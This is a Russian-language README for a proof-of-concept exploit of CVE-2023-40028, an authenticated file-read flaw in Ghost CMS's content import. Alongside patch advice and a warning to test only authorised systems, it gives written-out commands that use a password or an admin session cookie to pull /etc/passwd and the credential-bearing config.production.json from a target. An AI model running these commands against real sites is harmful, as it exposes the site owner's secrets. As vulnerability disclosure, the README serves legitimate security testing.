
POC для CVE-2023-40028: Ghost CMS произвольное чтение файлов
Proof of concept для CVE-2023-40028 — уязвимости аутентифицированного произвольного чтения файлов в функции импорта контента Ghost. Специально сформированный ZIP-архив создаёт символическую ссылку в content/images, позволяя скрипту запросить файл с хоста Ghost.
Уязвимы версии Ghost до 5.59.1. Обновитесь до 5.59.1 или более поздней версии.
Используйте это только против систем, которыми вы владеете или на тестирование которых у вас есть разрешение.
requestsghost-admin-api-sessionpython3 -m venv .venv
source .venv/bin/activate
python -m pip install requests
Чтение одного файла с именем пользователя и паролем:
python3 ghost_fileread.py \
--url https://ghost.example \
--username [email protected] \
--password 'password' \
--file /etc/passwd
Использование существующего cookie административной сессии:
python3 ghost_fileread.py \
--url https://ghost.example \
--cookie 'session-cookie-value' \
--file /var/lib/ghost/config.production.json
Опустите --file, чтобы открыть интерактивную строку приглашения file>. Запустите python3 ghost_fileread.py --help для параметров прокси, тайм-аута и User-Agent.
Эндпоинт возвращает текст, поэтому этот инструмент предназначен для текстовых файлов. Импорт специально сформированного архива оставляет символическую ссылку в каталоге content/images целевой системы.